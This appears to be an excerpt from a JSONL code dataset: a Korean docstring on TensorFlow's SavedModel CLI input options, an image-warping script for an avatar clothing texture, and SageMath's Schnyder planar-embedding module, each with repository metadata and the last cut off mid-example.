\uc9c0\uc815\ud558\uc2ed\uc2dc\uc624. \uc774\ub294 \ub370\uc774\ud130 \ud30c\uc77c\uc774 \uc5c6\uc5b4\ub3c4\n# \ubaa8\ub378\uc758 `SignatureDef`\uc758 \ud06c\uae30 \ubc0f \ub370\uc774\ud130 \ud0c0\uc785\uacfc \uc77c\uce58\ud558\ub294 \uac04\ub2e8\ud55c \uc785\ub825\uc73c\ub85c \ubaa8\ub378\uc758 \uc815\ud655\uc131 \uac80\uc0ac\ub97c \ud558\ub824\ub294 \uacbd\uc6b0\n# \uc720\uc6a9\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uc608\ub97c \ub4e4\uc5b4:\n# \n# ```bsh\n# `<input_key>=[[1],[2],[3]]`\n# ```\n# \n# \ud30c\uc774\uc36c \ud45c\ud604\uc2dd \uc678\uc5d0\ub3c4 \ub118\ud30c\uc774 \ud568\uc218\ub97c \uc804\ub2ec\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uc608\ub97c \ub4e4\uc5b4:\n# \n# ```bsh\n# `<input_key>=np.ones((32,32,3))`\n# ```\n# \n# (`numpy` \ubaa8\ub4c8\uc740 `np`\ub85c \uc774\ubbf8 \uc0ac\uc6a9 \uac00\ub2a5\ud558\ub2e4\uace0 \uac00\uc815\ud569\ub2c8\ub2e4.)\n# \n# \n# #### `--input_examples`\n# \n# `tf.train.Example`\uc744 \uc785\ub825\uc73c\ub85c \uc804\ub2ec\ud558\ub824\uba74 `--input_examples` \uc635\uc158\uc744 \uc9c0\uc815\ud558\uc2ed\uc2dc\uc624. \uc785\ub825 \ud0a4\ub9c8\ub2e4 \ub515\uc154\ub108\ub9ac\uc758\n# \ub9ac\uc2a4\ud2b8\ub97c \ubc1b\uc2b5\ub2c8\ub2e4. \uac01 \ub515\uc154\ub108\ub9ac\ub294 `tf.train.Example`\uc758 \uc778\uc2a4\ud134\uc2a4\uc785\ub2c8\ub2e4. \ub515\uc154\ub108\ub9ac \ud0a4\ub294 \uae30\ub2a5\uc774\uba70 \uac12\uc740 \uac01 \uae30\ub2a5\uc758\n# \uac12 \ub9ac\uc2a4\ud2b8\uc785\ub2c8\ub2e4. \uc608\ub97c \ub4e4\uc5b4:\n# \n# ```bsh\n# `<input_key>=[{\"age\":[22,24],\"education\":[\"BS\",\"MS\"]}]`\n# ```\n# \n# #### \ucd9c\ub825 \uc800\uc7a5\n# \n# \uae30\ubcf8\uc801\uc73c\ub85c, SavedModel CLI\ub294 \ucd9c\ub825\uc744 stdout\uc5d0 \uae30\ub85d\ud569\ub2c8\ub2e4. `--outdir` \uc635\uc158\uc73c\ub85c \ub514\ub809\ud1a0\ub9ac\ub97c \uc804\ub2ec\ud558\uba74,\n# \uc9c0\uc815\ub41c \ub514\ub809\ud1a0\ub9ac \uc548\uc5d0 \ucd9c\ub825 \ud150\uc11c \ud0a4\uc758 \uc774\ub984\uc744 \ub530\ub77c .npy \ud30c\uc77c\ub85c \ucd9c\ub825\uc774 \uc800\uc7a5\ub429\ub2c8\ub2e4.\n# \n# \uae30\uc874 \ucd9c\ub825 \ud30c\uc77c\uc744 \ub36e\uc5b4 \uc4f0\ub824\uba74 `--overwrite`\ub97c \uc0ac\uc6a9\ud558\uc2ed\uc2dc\uc624.\n", "meta": {"hexsha": "eb3eacecd98dae9ef9cde427f3fe278c5597bd7e", "size": 20640, "ext": "py", "lang": "Python", "max_stars_repo_path": "keras/saved_model.py", "max_stars_repo_name": "junho-m/rain", "max_stars_repo_head_hexsha": "88946ab2c727ae23054c77b6eb1381379b186b74", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "keras/saved_model.py", "max_issues_repo_name": "junho-m/rain", "max_issues_repo_head_hexsha": "88946ab2c727ae23054c77b6eb1381379b186b74", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "keras/saved_model.py", "max_forks_repo_name": "junho-m/rain", "max_forks_repo_head_hexsha": "88946ab2c727ae23054c77b6eb1381379b186b74", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.5325443787, "max_line_length": 337, "alphanum_fraction": 0.6928294574, "include": true, "reason": "import numpy", "num_tokens": 8676, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4035668537353746, "lm_q2_score": 0.1480472055495773, "lm_q1q2_score": 0.059746944947957195}}
{"text": "import skimage.io as io\nimport skimage.transform as skt\nimport numpy as np\nfrom PIL import Image\nfrom src.models.class_patcher import patcher\nfrom src.utils.imgproc import *\n\n\nclass patcher(patcher):\n    def __init__(self, body='./body/body_reney.png', **options):\n        super().__init__(name='\u30ea\u30cd\u30a3', body=body, pantie_position=[15, -36], **options)\n        self.mask = io.imread('./mask/mask_reney.png')\n\n    def convert(self, image):\n        pantie = np.array(image)\n        patch = np.copy(pantie[-170:-7, 546:, :])\n        pantie[-100:, 546:, :] = 0\n        [pr, pc, d] = patch.shape\n        pantie[125:125 + pr, :pc, :] = patch[::-1, ::-1]\n\n        pantie = np.pad(pantie, [(0, 0), (0, 200), (0, 0)], mode='constant')\n        arrx = np.zeros(100) - 20\n        arry = np.zeros(100)\n        arry[10:85] += np.sin(np.linspace(0, np.pi, 75))**2 * -80\n        arry[60:] += np.sin(np.linspace(0, np.pi, 40))**2 * -80\n        pantie = affine_transform_by_arr(pantie, arrx, arry)\n        pantie = perspective_transform(pantie, np.matrix('1, 0.0, 0; -0.01, 1, 0; -0.0004,0,1'))[:310, :550]\n        pantie = np.uint8(resize(pantie, [4.48, 6.15]) * 255)\n        pantie = np.bitwise_and(pantie, self.mask)\n        return Image.fromarray(pantie)\n", "meta": {"hexsha": "9992e7bd29372ba69e2a39b9d41f2361e4aa3bb2", "size": 1239, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/models/reney.py", "max_stars_repo_name": "HhotateA/quiche_pantie_patch", "max_stars_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 73, "max_stars_repo_stars_event_min_datetime": "2019-01-26T02:57:24.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-15T08:45:11.000Z", "max_issues_repo_path": "src/models/reney.py", "max_issues_repo_name": "HhotateA/quiche_pantie_patch", "max_issues_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2019-04-09T10:53:41.000Z", "max_issues_repo_issues_event_max_datetime": "2020-09-11T13:18:26.000Z", "max_forks_repo_path": "src/models/reney.py", "max_forks_repo_name": "HhotateA/quiche_pantie_patch", "max_forks_repo_head_hexsha": "f50c4fd69bd43cccaeb38f026d486e3ccc3850d8", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": 15, "max_forks_repo_forks_event_min_datetime": "2019-04-07T11:28:57.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T04:35:48.000Z", "avg_line_length": 39.9677419355, "max_line_length": 108, "alphanum_fraction": 0.5924132365, "include": true, "reason": "import numpy", "num_tokens": 415, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.11757214282138605, "lm_q1q2_score": 0.05970452903342893}}
{"text": "\"\"\"\nSchnyder's Algorithm for straight-line planar embeddings\n\nA module for computing the (x,y) coordinates for a straight-line planar\nembedding of any connected planar graph with at least three vertices.  Uses\nWalter Schnyder's Algorithm from [Sch1990]_.\n\nAUTHORS:\n\n- Jonathan Bober, Emily Kirkman (2008-02-09) --  initial version\n\"\"\"\n# ****************************************************************************\n#      Copyright (C) 2008 Jonathan Bober and Emily Kirkman\n#\n# Distributed  under  the  terms  of  the  GNU  General  Public  License (GPL)\n#                         https://www.gnu.org/licenses/\n# ****************************************************************************\nfrom __future__ import absolute_import\n\nfrom sage.sets.set import Set\nfrom .all import DiGraph\n\n\ndef _triangulate(g, comb_emb):\n    \"\"\"\n    Helper function to schnyder method for computing coordinates in the plane to\n    plot a planar graph with no edge crossings.\n\n    Given a connected graph g with at least 3 vertices and a planar combinatorial\n    embedding comb_emb of g, modify g in place to form a graph whose faces are\n    all triangles, and return the set of newly created edges. Also ``comb_emb``\n    is updated in place.\n\n    The simple way to triangulate a face is to just pick a vertex and draw\n    an edge from that vertex to every other vertex in the face. Think that this\n    might ultimately result in graphs that don't look very nice when we draw them\n    so we have decided on a different strategy.  After handling special cases,\n    we add an edge to connect every third vertex on each face.  If this edge is\n    a repeat, we keep the first edge of the face and retry the process at the next\n    edge in the face list.  (By removing the special cases we guarantee that this\n    method will work on one of these attempts.)\n\n    INPUT:\n\n    - g -- the graph to triangulate\n    - ``comb_emb`` -- a planar combinatorial embedding of g\n\n    OUTPUT:\n\n    A list of edges that are added to the graph (in place)\n\n    EXAMPLES::\n\n        sage: from sage.graphs.schnyder import _triangulate\n        sage: g = Graph(graphs.CycleGraph(4))\n        sage: g.is_planar(set_embedding=True)\n        True\n        sage: _triangulate(g, g._embedding)\n        [(2, 0), (1, 3)]\n\n        sage: g = graphs.PathGraph(3)\n        sage: g.is_planar(set_embedding=True)\n        True\n        sage: new_edges = _triangulate(g, g._embedding)\n        sage: [sorted(e) for e in new_edges]\n        [[0, 2]]\n    \"\"\"\n    # first make sure that the graph has at least 3 vertices, and that it is connected\n    if g.order() < 3:\n        raise ValueError(\"A Graph with less than 3 vertices doesn't have any triangulation.\")\n    if not g.is_connected():\n        raise NotImplementedError(\"_triangulate() only knows how to handle connected graphs.\")\n\n    # At this point we know that the graph is connected, has at least 3\n    # vertices. This is where the real work starts.\n\n    faces = g.faces(comb_emb)\n    # We start by finding all of the faces of this embedding.\n\n    edges_added = []   # The list of edges that we add to the graph.\n    # This will be returned at the end.\n\n    for face in faces:\n        new_face = []\n        if len(face) < 3:\n            raise RuntimeError('Triangulate method created face %s with < 3 edges.' % face)\n        if len(face) == 3:\n            continue  # This face is already triangulated\n        elif len(face) == 4:  # In this special case just add diagonal edge to square\n            u, v, w, x = (e[0] for e in face)\n            if w == u or g.has_edge(w,u):\n                u, v, w, x = v, w, x, u\n            new_face = (w, u)\n            comb_emb[w].insert(comb_emb[w].index(x), u)\n            comb_emb[u].insert(comb_emb[u].index(v), w)\n            g.add_edge(new_face)\n            edges_added.append(new_face)\n        else:\n            N = len(face)\n            i = 0\n            while i < N - 1:\n                new_edge = (face[i + 1][1], face[i][0])  # new_edge is from third vertex in face to first\n                if g.has_edge(new_edge) or new_edge[0] == new_edge[1]:  # check for repeats\n                    new_face.append(face[i])  # if repeated, keep first edge in face instead\n                    if i == N - 2:   # if we are two from the end, found a triangle already\n                        break\n                    i += 1\n                    continue\n\n                g.add_edge(new_edge)\n                edges_added.append(new_edge)\n                comb_emb[new_edge[0]].insert(comb_emb[new_edge[0]].index((face + new_face)[i + 2][1]), new_edge[1])\n                comb_emb[new_edge[1]].insert(comb_emb[new_edge[1]].index(face[i][1]), new_edge[0])\n                new_face.append((new_edge[1], new_edge[0]))\n                i += 2\n            if i != N:\n                new_face.append(face[-1])\n            faces.append(new_face)\n\n    return edges_added\n\n\ndef _normal_label(g, comb_emb, external_face):\n    r\"\"\"\n    Helper function to schnyder method for computing coordinates in\n    the plane to plot a planar graph with no edge crossings.\n\n    Constructs a normal labelling of a triangular graph g, given the\n    planar combinatorial embedding of g and a designated external\n    face.  Returns labels dictionary.  The normal label is constructed\n    by first contracting the graph down to its external face, then\n    expanding the graph back to the original while simultaneously\n    adding angle labels.\n\n    INPUT:\n\n    - g -- the graph to find the normal labeling of (g must be triangulated)\n    - ``comb_emb`` -- a planar combinatorial embedding of g\n    - ``external_face`` -- the list of three edges in the external face of g\n\n    OUTPUT:\n\n    x -- tuple with entries\n\n        x[0] = dict of dicts of normal labeling for each vertex of g and each\n        adjacent neighbors u,v (u < v) of vertex:\n\n        { vertex : { (u,v): angel_label } }\n\n        x[1] = (v1,v2,v3) tuple of the three vertices of the external face.\n\n    EXAMPLES::\n\n        sage: from sage.graphs.schnyder import _triangulate, _normal_label, _realizer\n        sage: g = Graph(graphs.CycleGraph(7))\n        sage: g.is_planar(set_embedding=True)\n        True\n        sage: faces = g.faces(g._embedding)\n        sage: _triangulate(g, g._embedding)\n        [(2, 0), (4, 2), (6, 4), (1, 3), (6, 1), (3, 5), (4, 0), (6, 3)]\n        sage: tn = _normal_label(g, g._embedding, faces[0])\n        sage: _realizer(g, tn)\n        ({0: [<sage.graphs.schnyder.TreeNode object at ...>]},\n         (1, 0, 2))\n    \"\"\"\n    contracted = []\n    contractible = []\n\n    labels = {}\n\n    # For now we will not take the order of the outer face into account.\n    # We will correct this in the end of this function.\n    external_vertices = sorted([external_face[0][0],\n                                external_face[1][0],\n                                external_face[2][0]])\n    v1, v2, v3 = external_vertices\n    v1_neighbors = Set(g.neighbors(v1))\n\n    neighbor_count = {}\n    for v in g.vertices():\n        neighbor_count[v] = 0\n    for v in g.neighbors(v1):\n        neighbor_count[v] = len(v1_neighbors.intersection(Set(g.neighbors(v))))\n\n    for v in v1_neighbors:\n        if v in [v1, v2, v3]:\n            continue\n        if neighbor_count[v] == 2:\n            contractible.append(v)\n\n    # contraction phase:\n\n    while g.order() > 3:\n        try:\n            v = contractible.pop()\n        except Exception:\n            raise RuntimeError('Contractible list is empty but graph still has %d vertices.  (Expected 3.)' % g.order())\n\n            break\n        # going to contract v\n        v_neighbors = Set(g.neighbors(v))\n        contracted.append((v, v_neighbors,\n                           v_neighbors - v1_neighbors - Set([v1])))\n        g.delete_vertex(v)\n        v1_neighbors -= Set([v])\n        for w in v_neighbors - v1_neighbors - Set([v1]):\n            # adding edge (v1, w)\n            g.add_edge((v1, w))\n        if g.order() == 3:\n            break\n        v1_neighbors += v_neighbors - Set([v1])\n        contractible = []\n        for w in g.neighbors(v1):\n            if (len(v1_neighbors.intersection(Set(g.neighbors(w)))) == 2\n                    and w not in [v1, v2, v3]):\n                contractible.append(w)\n\n    # expansion phase:\n\n    v1, v2, v3 = g.vertices()  # always in sorted order\n\n    labels[v1] = {(v2, v3): 1}\n    labels[v2] = {(v1, v3): 2}\n    labels[v3] = {(v1, v2): 3}\n\n    while len(contracted):\n        v, new_neighbors, neighbors_to_delete = contracted.pop()\n        # going to add back vertex v\n        labels[v] = {}\n\n        for w in neighbors_to_delete:\n            g.delete_edge((v1, w))\n\n        if len(neighbors_to_delete) == 0:\n            # we are adding v into the face new_neighbors\n            w1, w2, w3 = sorted(new_neighbors)\n\n            labels[v] = {(w1, w2): labels[w3].pop((w1, w2)),\n                         (w2, w3): labels[w1].pop((w2, w3)),\n                         (w1, w3): labels[w2].pop((w1, w3))}\n            labels[w1][tuple(sorted((w2, v)))] = labels[v][(w2, w3)]\n            labels[w1][tuple(sorted((w3, v)))] = labels[v][(w2, w3)]\n\n            labels[w2][tuple(sorted((w1, v)))] = labels[v][(w1, w3)]\n            labels[w2][tuple(sorted((w3, v)))] = labels[v][(w1, w3)]\n\n            labels[w3][tuple(sorted((w1, v)))] = labels[v][(w1, w2)]\n            labels[w3][tuple(sorted((w2, v)))] = labels[v][(w1, w2)]\n        else:\n            new_neighbors_set = Set(new_neighbors)\n            angles_out_of_v1 = set()\n            vertices_in_order = []\n            l = []\n            for angle in labels[v1].keys():\n                if len(Set(angle).intersection(new_neighbors_set)) == 2:\n                    angles_out_of_v1.add(angle)\n                    l = l + list(angle)\n            # find a unique element in l\n            l.sort()\n            i = 0\n            while i < len(l):\n                if l[i] == l[i + 1]:\n                    i += 2\n                else:\n                    break\n\n            angle_set = Set(angles_out_of_v1)\n\n            vertices_in_order.append(l[i])\n            while len(angles_out_of_v1) > 0:\n                for angle in angles_out_of_v1:\n                    if vertices_in_order[-1] in angle:\n                        break\n                if angle[0] == vertices_in_order[-1]:\n                    vertices_in_order.append(angle[1])\n                else:\n                    vertices_in_order.append(angle[0])\n                angles_out_of_v1.remove(angle)\n\n            w = vertices_in_order\n\n            # is w[0] a 2 or a 3?\n            top_label = labels[w[0]][tuple(sorted((v1, w[1])))]\n            if top_label == 3:\n                bottom_label = 2\n            else:\n                bottom_label = 3\n            i = 0\n            while i < len(w) - 1:\n                labels[v][tuple(sorted((w[i], w[i + 1])))] = 1\n                labels[w[i]][tuple(sorted((w[i + 1], v)))] = top_label\n                labels[w[i + 1]][tuple(sorted((w[i], v)))] = bottom_label\n                i += 1\n\n            labels[v][tuple(sorted((v1, w[0])))] = bottom_label\n            labels[v][tuple(sorted((v1, w[-1])))] = top_label\n\n            labels[w[0]][tuple(sorted((v1, v)))] = top_label\n            labels[w[-1]][tuple(sorted((v1, v)))] = bottom_label\n            labels[v1][tuple(sorted((w[0], v)))] = 1\n            labels[v1][tuple(sorted((w[-1], v)))] = 1\n\n            # delete all the extra labels\n\n            for angle in angle_set:\n                labels[v1].pop(angle)\n\n            labels[w[0]].pop(tuple(sorted((v1, w[1]))))\n            labels[w[-1]].pop(tuple(sorted((v1, w[-2]))))\n\n            i = 1\n            while i < len(w) - 1:\n                labels[w[i]].pop(tuple(sorted((v1, w[i + 1]))))\n                labels[w[i]].pop(tuple(sorted((v1, w[i - 1]))))\n                i += 1\n\n        for w in new_neighbors:\n            g.add_edge((v, w))\n\n    # Up to this point we did not take the order of the external face into\n    # account. Since the combinatorial embedding of a triangulation is unique up\n    # to the choice of the outer face and reflection, this might lead to a\n    # reflection of the Schnyder drawing resulting from this labeling which is\n    # not conformal with comb_emb any longer. Therefore, we might have to swap\n    # the labels 1 and 2.\n    if (v1, v2) in external_face:\n        for u in labels:\n            for v, w in labels[u]:\n                if labels[u][v, w] == 1:\n                    labels[u][v, w] = 2\n                elif labels[u][v, w] == 2:\n                    labels[u][v, w] = 1\n        v1, v2 = v2, v1\n\n    return labels, (v1, v2, v3)\n\n\ndef _realizer(g, x, example=False):\n    \"\"\"\n    Given a triangulated graph g and a normal labeling constructs the\n    realizer and returns a dictionary of three trees determined by the\n    realizer, each spanning all interior vertices and rooted at one of\n    the three external vertices.\n\n    A realizer is a directed graph with edge labels that span all interior\n    vertices from each external vertex.  It is determined by giving direction\n    to the edges that have the same angle label on both sides at a vertex.\n    (Thus the direction actually points to the parent in the tree.)  The\n    edge label is set as whatever the matching angle label is.  Then from\n    any interior vertex, following the directed edges by label will\n    give a path to each of the three external vertices.\n\n    INPUT:\n\n    - g -- the graph to compute the realizer of\n    - x -- tuple with entries\n\n        x[0] = dict of dicts representing a normal labeling of g.  For\n        each vertex of g and each adjacent neighbors u,v (u < v) of\n        vertex:  { vertex : { (u,v): angle_label } }\n\n        x[1] = (v1, v2, v3) tuple of the three external vertices (also\n        the roots of each tree)\n\n    OUTPUT:\n\n    - x -- tuple with entries\n\n        x[0] = dict of lists of TreeNodes:\n\n        { root_vertex : [ list of all TreeNodes under root_vertex ] }\n\n        x[1] = (v1,v2,v3) tuple of the three external vertices (also the\n        roots of each tree)\n\n    EXAMPLES::\n\n        sage: from sage.graphs.schnyder import _triangulate, _normal_label, _realizer\n        sage: g = Graph(graphs.CycleGraph(7))\n        sage: g.is_planar(set_embedding=True)\n        True\n        sage: faces = g.faces(g._embedding)\n        sage: _triangulate(g, g._embedding)\n        [(2, 0), (4, 2), (6, 4), (1, 3), (6, 1), (3, 5), (4, 0), (6, 3)]\n        sage: tn = _normal_label(g, g._embedding, faces[0])\n        sage: _realizer(g, tn)\n        ({0: [<sage.graphs.schnyder.TreeNode object at ...>]},\n         (1, 0, 2))\n\n    \"\"\"\n    normal_labeling, (v1, v2, v3) = x\n    realizer = DiGraph()\n\n    tree_nodes = {}\n    for v in g:\n        tree_nodes[v] = [TreeNode(label=v, children=[]),\n                         TreeNode(label=v, children=[]),\n                         TreeNode(label=v, children=[])]\n\n    for v in g:\n        ones = []\n        twos = []\n        threes = []\n        l = [ones, twos, threes]\n        for angle, value in normal_labeling[v].items():\n            l[value - 1] += list(angle)\n\n        ones.sort()\n        twos.sort()\n        threes.sort()\n\n        i = 0\n        while i < len(ones) - 1:\n            if ones[i] == ones[i + 1]:\n                realizer.add_edge((ones[i], v), label=1)\n                tree_nodes[v][0].append_child(tree_nodes[ones[i]][0])\n                i += 1\n            i += 1\n        i = 0\n        while i < len(twos) - 1:\n            if twos[i] == twos[i + 1]:\n                realizer.add_edge((twos[i], v), label=2)\n                tree_nodes[v][1].append_child(tree_nodes[twos[i]][1])\n                i += 1\n            i += 1\n        i = 0\n        while i < len(threes) - 1:\n            if threes[i] == threes[i + 1]:\n                realizer.add_edge((threes[i], v), label=3)\n                tree_nodes[v][2].append_child(tree_nodes[threes[i]][2])\n                i += 1\n            i += 1\n\n    _compute_coordinates(realizer, (tree_nodes, (v1, v2, v3)))\n\n    if example:\n        realizer.show(talk=True, edge_labels=True)\n\n    return tree_nodes, (v1, v2, v3)\n\n\ndef _compute_coordinates(g, x):\n    r\"\"\"\n    Given a triangulated graph g with a dict of trees given by the\n    realizer and tuple of the external vertices, we compute the\n    coordinates of a planar geometric embedding in the grid.\n\n    The coordinates will be set to the ``_pos`` attribute of g.\n\n    INPUT:\n\n    - g -- the graph to compute the coordinates of\n    - x -- tuple with entries\n\n        x[0] = dict of tree nodes for the three trees with each external\n        vertex as root:\n\n        { root_vertex : [ list of all TreeNodes under root_vertex ] }\n\n        x[1] = (v1, v2, v3) tuple of the three external vertices (also\n        the roots of each tree)\n\n    EXAMPLES::\n\n        sage: from sage.graphs.schnyder import _triangulate, _normal_label, _realizer, _compute_coordinates\n        sage: g = Graph(graphs.CycleGraph(7))\n        sage: g.is_planar(set_embedding=True)\n        True\n        sage: faces = g.faces(g._embedding)\n        sage: _triangulate(g, g._embedding)\n        [(2, 0), (4, 2), (6, 4), (1, 3), (6, 1), (3, 5), (4, 0), (6, 3)]\n        sage: tn = _normal_label(g, g._embedding, faces[0])\n        sage: r = _realizer(g, tn)\n        sage: _compute_coordinates(g,r)\n        sage: g.get_pos()\n        {0: [0, 5], 1: [5, 1], 2: [1, 0], 3: [4, 1], 4: [1, 1], 5: [2, 2], 6: [1, 4]}\n    \"\"\"\n\n    tree_nodes, (v1, v2, v3) = x\n    # find the roots of each tree:\n    t1, t2, t3 = tree_nodes[v1][0], tree_nodes[v2][1], tree_nodes[v3][2]\n\n    # Compute the number of descendants and depth of each node in\n    # each tree.\n    t1.compute_number_of_descendants()\n    t2.compute_number_of_descendants()\n    t3.compute_number_of_descendants()\n\n    t1.compute_depth_of_self_and_children()\n    t2.compute_depth_of_self_and_children()\n    t3.compute_depth_of_self_and_children()\n\n    coordinates = {}  # the dict to pass to g.set_pos()\n\n    # Setting coordinates for external vertices\n    coordinates[t1.label] = [g.order() - 2, 1]\n    coordinates[t2.label] = [0, g.order() - 2]\n    coordinates[t3.label] = [1, 0]\n\n    for v in g.vertices():\n        if v not in [t1.label, t2.label, t3.label]:\n            # Computing coordinates for v\n            r = list((0, 0, 0))\n\n            for i in [0, 1, 2]:\n                # Computing size of region i:\n\n                # Tracing up tree (i + 1) % 3\n                p = tree_nodes[v][(i + 1) % 3]\n                while p is not None:\n                    q = tree_nodes[p.label][i].number_of_descendants\n                    # Adding number of descendants from Tree i nodes with\n                    # labels on path up tree (i + 1) % 3\n                    r[i] += q\n                    p = p.parent\n\n                # Tracing up tree (i - 1) % 3\n                p = tree_nodes[v][(i - 1) % 3]\n                while p is not None:\n                    q = tree_nodes[p.label][i].number_of_descendants\n                    # Adding number of descendants from Tree i nodes with\n                    # labels on path up tree (i - 1) % 3\n                    r[i] += q\n                    p = p.parent\n\n                q = tree_nodes[v][i].number_of_descendants\n                # Subtracting\n                r[i] -= q\n\n                # Subtracting\n                q = tree_nodes[v][(i - 1) % 3].depth\n                r[i] -= q\n\n            if sum(r) != g.order() - 1:\n                raise RuntimeError(\"Computing coordinates failed: vertex %s's coordinates sum to %s.  Expected %s\" % (v, sum(r), g.order() - 1))\n\n            coordinates[v] = r[:-1]\n\n    g.set_pos(coordinates)  # Setting _pos attribute to store coordinates\n\n\nclass TreeNode(object):\n    \"\"\"\n    A class to represent each node in the trees used by ``_realizer`` and\n    ``_compute_coordinates`` when finding a planar geometric embedding in\n    the grid.\n\n    Each tree node is doubly linked to its parent and children.\n\n    INPUT:\n\n    - ``parent`` -- the parent TreeNode of ``self``\n    - ``children`` -- a list of TreeNode children of ``self``\n    - ``label`` -- the associated realizer vertex label\n\n    EXAMPLES::\n\n        sage: from sage.graphs.schnyder import TreeNode\n        sage: tn = TreeNode(label=5)\n        sage: tn2 = TreeNode(label=2,parent=tn)\n        sage: tn3 = TreeNode(label=3)\n        sage: tn.append_child(tn3)\n        sage: tn.compute_number_of_descendants()\n        2\n        sage: tn.number_of_descendants\n        2\n        sage: tn3.number_of_descendants\n        1\n        sage: tn.compute_depth_of_self_and_children()\n        sage: tn3.depth\n        2\n    \"\"\"\n    def __init__(self, parent=None, children=None, label=None):\n        \"\"\"\n        INPUT:\n\n        - ``parent`` -- the parent TreeNode of ``self``\n        - ``children`` -- a list of TreeNode children of ``self``\n        - ``label`` -- the associated realizer vertex label\n\n        EXAMPLES::\n\n            sage: from sage.graphs.schnyder import TreeNode\n            sage: tn = TreeNode(label=5)\n            sage: tn2 = TreeNode(label=2,parent=tn)\n            sage: tn3 = TreeNode(label=3)\n            sage: tn.append_child(tn3)\n            sage: tn.compute_number_of_descendants()\n            2\n            sage: tn.number_of_descendants\n            2\n            sage: tn3.number_of_descendants\n            1\n            sage: tn.compute_depth_of_self_and_children()\n            sage: tn3.depth\n            2\n        \"\"\"\n        if children is None:\n            children = []\n        self.parent = parent\n        self.children = children\n        self.label = label\n        self.number_of_descendants = 1\n\n    def compute_number_of_descendants(self):\n        \"\"\"\n        Computes the number of descendants of self and all descendants.\n\n        For each TreeNode, sets result as attribute self.number_of_descendants\n\n        EXAMPLES::\n\n            sage: from sage.graphs.schnyder import TreeNode\n            sage: tn = TreeNode(label=5)\n            sage: tn2 = TreeNode(label=2,parent=tn)\n            sage: tn3 = TreeNode(label=3)\n            sage: tn.append_child(tn3)\n            sage: tn.compute_number_of_descendants()\n            2\n            sage: tn.number_of_descendants\n            2\n            sage: tn3.number_of_descendants\n            1\n            sage: tn.compute_depth_of_self_and_children()\n            sage: tn3.depth\n            2\n\n        \"\"\"\n        n = 1\n        for child in self.children:\n            n += child.compute_number_of_descendants()\n        self.number_of_descendants = n\n        return n\n\n    def compute_depth_of_self_and_children(self):\n        \"\"\"\n        Computes the depth of self and all descendants.\n\n        For each TreeNode, sets result as attribute self.depth\n\n        EXAMPLES::\n\n            sage: from sage.graphs.schnyder import TreeNode\n            sage: tn = TreeNode(label=5)\n            sage: tn2 = TreeNode(label=2,parent=tn)\n            sage: tn3 = TreeNode(label=3)\n            sage: tn.append_child(tn3)\n            sage: tn.compute_number_of_descendants()\n            2\n            sage: tn.number_of_descendants\n            2\n            sage: tn3.number_of_descendants\n            1\n            sage: tn.compute_depth_of_self_and_children()\n            sage: tn3.depth\n            2\n        \"\"\"\n        if self.parent is None:\n            self.depth = 1\n        else:\n            self.depth = self.parent.depth + 1\n        for child in self.children:\n            child.compute_depth_of_self_and_children()\n\n    def append_child(self, child):\n        \"\"\"\n        Add a child to list of children.\n\n        EXAMPLES::\n\n            sage: from sage.graphs.schnyder import TreeNode\n            sage: tn = TreeNode(label=5)\n            sage: tn2 = TreeNode(label=2,parent=tn)\n            sage: tn3 = TreeNode(label=3)\n            sage: tn.append_child(tn3)\n            sage: tn.compute_number_of_descendants()\n            2\n            sage: tn.number_of_descendants\n            2\n            sage: tn3.number_of_descendants\n            1\n            sage: tn.compute_depth_of_self_and_children()\n            sage: tn3.depth\n            2\n        \"\"\"\n        if child in self.children:\n            return\n        self.children.append(child)\n        child.parent = self\n\n\ndef minimal_schnyder_wood(graph, root_edge=None, minimal=True, check=True):\n    \"\"\"\n    Return the minimal Schnyder wood of a planar rooted triangulation.\n\n    INPUT:\n\n    - graph -- a planar triangulation, given by a graph with an embedding.\n\n    - root_edge -- a pair of vertices (default is from ``-1`` to ``-2``)\n      The third boundary vertex is then determined using the orientation and\n      will be labelled ``-3``.\n\n    - minimal -- boolean (default ``True``), whether to return a\n      minimal or a maximal Schnyder wood.\n\n    - check -- boolean (default ``True``), whether to check if the input\n      is a planar triangulation\n\n    OUTPUT:\n\n    A planar graph, with edges oriented and colored. The three outer\n    edges of the initial graph are removed. For the three outer vertices the\n    list of the neighbors stored in the combinatorial embedding is in the order\n    of the incident edges between the two incident (and removed) outer edges,\n    and not a cyclic shift of it.\n\n    The algorithm is taken from [Bre2000]_ (section 4.2).\n\n    EXAMPLES::\n\n        sage: from sage.graphs.schnyder import minimal_schnyder_wood\n        sage: g = Graph([(0,-1),(0,-2),(0,-3),(-1,-2),(-2,-3),\n        ....:  (-3,-1)], format='list_of_edges')\n        sage: g.set_embedding({-1:[-2,0,-3],-2:[-3,0,-1],\n        ....:  -3:[-1,0,-2],0:[-1,-2,-3]})\n        sage: newg = minimal_schnyder_wood(g)\n        sage: newg.edges()\n        [(0, -3, 'red'), (0, -2, 'blue'), (0, -1, 'green')]\n        sage: newg.plot(color_by_label={'red':'red','blue':'blue',\n        ....:  'green':'green',None:'black'})\n        Graphics object consisting of 8 graphics primitives\n\n    A larger example::\n\n        sage: g = Graph([(0,-1),(0,2),(0,1),(0,-3),(-1,-3),(-1,2),\n        ....: 